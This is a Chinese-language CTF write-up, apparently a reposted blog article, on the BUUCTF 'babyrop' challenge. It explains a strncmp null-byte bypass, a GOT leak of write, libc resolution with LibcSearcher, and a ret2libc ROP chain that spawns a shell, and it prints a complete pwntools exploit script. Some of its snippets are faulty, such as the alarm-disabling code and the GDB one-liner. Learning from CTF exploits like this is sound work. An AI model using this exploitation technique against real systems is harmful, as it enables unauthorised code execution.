当前位置: 首页 > news >正文

BUUCTF babyrop实战:手把手教你绕过strncmp和构造ROP链(附完整EXP)

BUUCTF babyrop实战:从零构建ROP链的深度攻防解析

引言:为什么ROP技术是二进制安全的必修课

在CTF竞赛和实际安全研究中,Return-Oriented Programming(ROP)技术就像黑客手中的瑞士军刀。它能在内存防护机制日益严密的现代系统中,通过巧妙组合现有代码片段(gadgets)实现任意代码执行。对于刚接触二进制安全的同学来说,babyrop这类题目就像精心设计的乐高套装——每个零件都恰到好处,既能练习基础技能,又不会因复杂度太高而劝退。

今天我们要剖析的BUUCTF平台上的babyrop题目,来自OGeek2019比赛,完美展现了ROP链构造的经典思维流程。不同于单纯讲解漏洞原理的理论文章,本文将带您亲历完整的漏洞利用过程:从逆向分析发现漏洞点,到绕过strncmp保护机制,最终构建ROP链获取shell权限。过程中我会分享调试技巧和常见错误排查方法,这些实战经验往往是在其他教程中难以找到的珍贵细节。

1. 环境准备与初步分析

1.1 题目基本信息收集

拿到题目文件后,第一件事就是使用checksec工具检查防护机制:

checksec --file=babyrop

典型输出结果会显示:

  • NX enabled:栈不可执行,排除了直接注入shellcode的可能性
  • No canary found:没有栈保护,意味着可以放心地进行栈溢出
  • PIE disabled:程序基地址固定,不需要考虑地址随机化问题

这些信息决定了我们的攻击方向——必须通过ROP技术来绕过NX保护。同时,没有canary和PIE让利用过程变得相对简单,非常适合初学者练习。

1.2 关键函数逆向分析

使用IDA Pro打开程序,主函数的逻辑脉络逐渐清晰:

  1. 警报设置:程序开始通过alarm(0x3C)设置60秒超时,这可能会干扰调试。解决方法很简单:

    context.update(os='linux', arch='i386') io = process('./babyrop') def disable_alarm(): io.sendlineafter('name: ', '0') # 绕过strncmp检查 io.recvuntil('Correct\n') disable_alarm()
  2. 核心逻辑链

    • 生成随机数 →sub_804871F()处理 →sub_80487D0()执行
    • 第一个函数负责输入验证,第二个函数存在关键漏洞

2. 突破strncmp验证机制

2.1 strncmp的致命弱点

sub_804871F()函数中存在以下关键代码:

v1 = strlen(buf); if ( strncmp(buf, s, v1) ) exit(0);

这里的安全检查看似严密,实则暗藏玄机。当v1=0时,strncmp会直接返回0(表示匹配成功),因为比较长度为0。而v1来自strlen(buf),所以只需让buf的第一个字节为\x00即可:

payload = b'\x00' + b'\xff'*7 # \x00绕过长度检查,\xff为后续利用准备

2.2 字节选择的艺术

第二个关键点是buf[7]的值会决定后续栈溢出的空间大小。我们需要其ASCII值尽可能大:

字符表示十六进制十进制值适用性
\x7f0x7f127太小
\xff0xff255理想值
'A'0x4165不足

通过构造\xff,我们能获得最大的溢出空间,为后续ROP链铺路。

3. ROP链构造实战

3.1 泄露libc地址

由于题目没有提供system和/bin/sh,我们需要通过泄露libc函数地址来计算基址:

write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = 0x08048825 # 主函数返回地址 payload = flat( b'A'*0xe7, b'B'*4, # 覆盖ebp p32(write_plt), p32(main_addr), # 返回地址 p32(1), # fd=stdout p32(write_got), p32(4) # 输出4字节 )

这段payload执行后,我们会收到write函数在内存中的实际地址,然后通过LibcSearcher匹配libc版本:

write_addr = u32(io.recv(4)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')

3.2 32位与64位ROP的差异

这是初学者最容易混淆的地方之一:

特性32位程序64位程序
参数传递通过栈传递优先使用寄存器(RDI,RSI,RDX等)
栈对齐不需要特别处理通常需要保持16字节对齐
Gadget寻找相对简单需要更复杂的链式组合

在本题中,我们只需要按顺序将参数压栈即可调用函数:

payload = flat( b'A'*0xe7, b'B'*4, p32(system_addr), p32(0xdeadbeef), # 随意返回地址 p32(bin_sh_addr) )

4. 完整EXP与调试技巧

4.1 自动化利用脚本

以下是整合所有步骤的完整利用代码:

from pwn import * from LibcSearcher import * context(os='linux', arch='i386') # io = process('./babyrop') io = remote('node4.buuoj.cn', 25501) # 第一阶段:绕过strncmp检查 io.sendlineafter('name: ', b'\x00' + b'\xff'*7) io.recvuntil('Correct\n') # 第二阶段:泄露write地址 elf = ELF('./babyrop') write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = 0x08048825 payload = flat( b'A'*0xe7, b'B'*4, p32(write_plt), p32(main_addr), p32(1), p32(write_got), p32(4) ) io.sendline(payload) write_addr = u32(io.recv(4)) # 第三阶段:计算system地址并获取shell libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter('name: ', b'\x00' + b'\xff'*7) io.recvuntil('Correct\n') payload = flat( b'A'*0xe7, b'B'*4, p32(system_addr), p32(0), p32(bin_sh_addr) ) io.sendline(payload) io.interactive()

4.2 GDB调试关键技巧

当ROP链不工作时,这些gdb命令能快速定位问题:

gdb -q ./babyrop b *0x080487D0 # 在漏洞函数入口下断点 r <<< $(python -c 'print "\x00" + "\xff"*7"') # 检查栈布局 x/20wx $esp # 检查返回地址是否被正确覆盖 x/i $eip

常见问题排查表:

症状可能原因解决方案
段错误(Segmentation fault)返回地址无效检查payload中的地址是否正确
程序提前退出没有绕过初始检查确认strncmp绕过有效
没有收到泄露的地址write参数设置错误检查文件描述符是否为1(stdout)
system执行但无shell/bin/sh地址错误验证libc中str_bin_sh的偏移

5. ROP技术的进阶思考

虽然我们成功利用了这道题,但现实中的二进制漏洞往往更加复杂。现代防护技术如ASLR、Stack Canary、CFG等都在不断增加ROP的难度。要成为真正的漏洞利用专家,还需要掌握以下进阶技术:

  • 面向返回的编程(ROP)优化:如何用更少的gadget完成复杂操作
  • 堆利用技巧:结合堆漏洞实现更强大的攻击
  • BROP(Blind ROP):在没有二进制文件的情况下进行ROP攻击
  • 对抗防护机制:绕过ASLR、DEP等现代防护措施的方法

这道babyrop题目就像二进制安全的入门仪式,当你成功获取到第一个shell时,那种成就感是无与伦比的。但请记住,真正的挑战才刚刚开始——网络安全的世界里,永远有更复杂、更精妙的系统等着我们去探索和突破。

http://www.cnnetsun.cn/news/1464653.html

相关文章:

  • java毕业设计基于Spring Boot的阳光蛋糕店管理系统
  • 好用的推理训练引擎:博云AIOS如何重塑企业AI算力底座
  • 从卡顿到丝滑:6步解锁Win11Debloat系统优化新体验
  • 全任务零样本学习-mT5中文-base应用场景:大模型红队测试中的对抗性文本生成增强
  • 群晖备份神器Active Backup激活全攻略:从URL构造到状态验证一步不落
  • SDMatte高效抠图手册:复杂背景人像外物分离、发丝级保留实操步骤
  • STM32H7高性能模拟库:突破Arduino ADC/DAC/I2S极限
  • SOONet效果展示:同一查询在不同光照/角度/分辨率视频中的鲁棒性测试
  • Git版本控制实战:通义千问1.5-1.8B模型解读复杂操作与解决合并冲突
  • QAnything负载测试:Locust模拟高并发场景实践
  • Microchip Studio 7 烧录全流程详解:从配置到熔丝位设置
  • SeqGPT-560m指令理解能力实测:任务-输入-输出Prompt结构有效性验证
  • Kaetram-Open:构建2D MMORPG的开源游戏引擎解决方案
  • Vue3 中如何优雅地集成 Plyr 播放器
  • 原神祈愿记录导出工具:从数据捕获到可视化分析的全流程解决方案
  • RK3588+FPGA方案在工厂里到底怎么用?聊聊我们做多相机缺陷检测和12屏异显踩过的那些坑
  • modtronix inAir LoRa驱动深度解析:引脚可配、中断/轮询双模
  • Gemma-3多模态大模型应用场景:儿童绘本图→故事续写+教育目标标注
  • 避开这5个坑,你的51单片机音乐闹钟项目成功率翻倍 | 基于普中A2开发板
  • myDV 抖音第三方TV版 专为电视TV设计的大屏版抖音 myDV TV版是借助AI技术开发
  • Cadence 17.4 PCBEditor 中文菜单设置保姆级教程(含补丁号查看与环境变量配置)
  • 智能知识管理与高效内容创作:STORM系统全解析
  • LeetDown系统降级工具使用教程:让A6/A7设备重获流畅体验
  • SpaceCadetPinball:经典弹球游戏的现代重构与全平台开发指南
  • 从零开始玩转WLED:智能LED控制创意指南
  • AI辅助开发实战:如何用ChatTTS语音包提升对话系统自然度
  • 为什么你的MCP采样QPS卡在8.2K?2026新规下Sampling Token Bucket算法失效的3种临界态及熔断式降级模板
  • ChatGPT镜像网站最新技术解析:如何构建稳定高效的代理服务
  • 如何用开源ROM管理器打造你的游戏博物馆:从零到精通的完整指南
  • Spring_couplet_generation 嵌入式AI初探:与STM32项目的有趣联动设想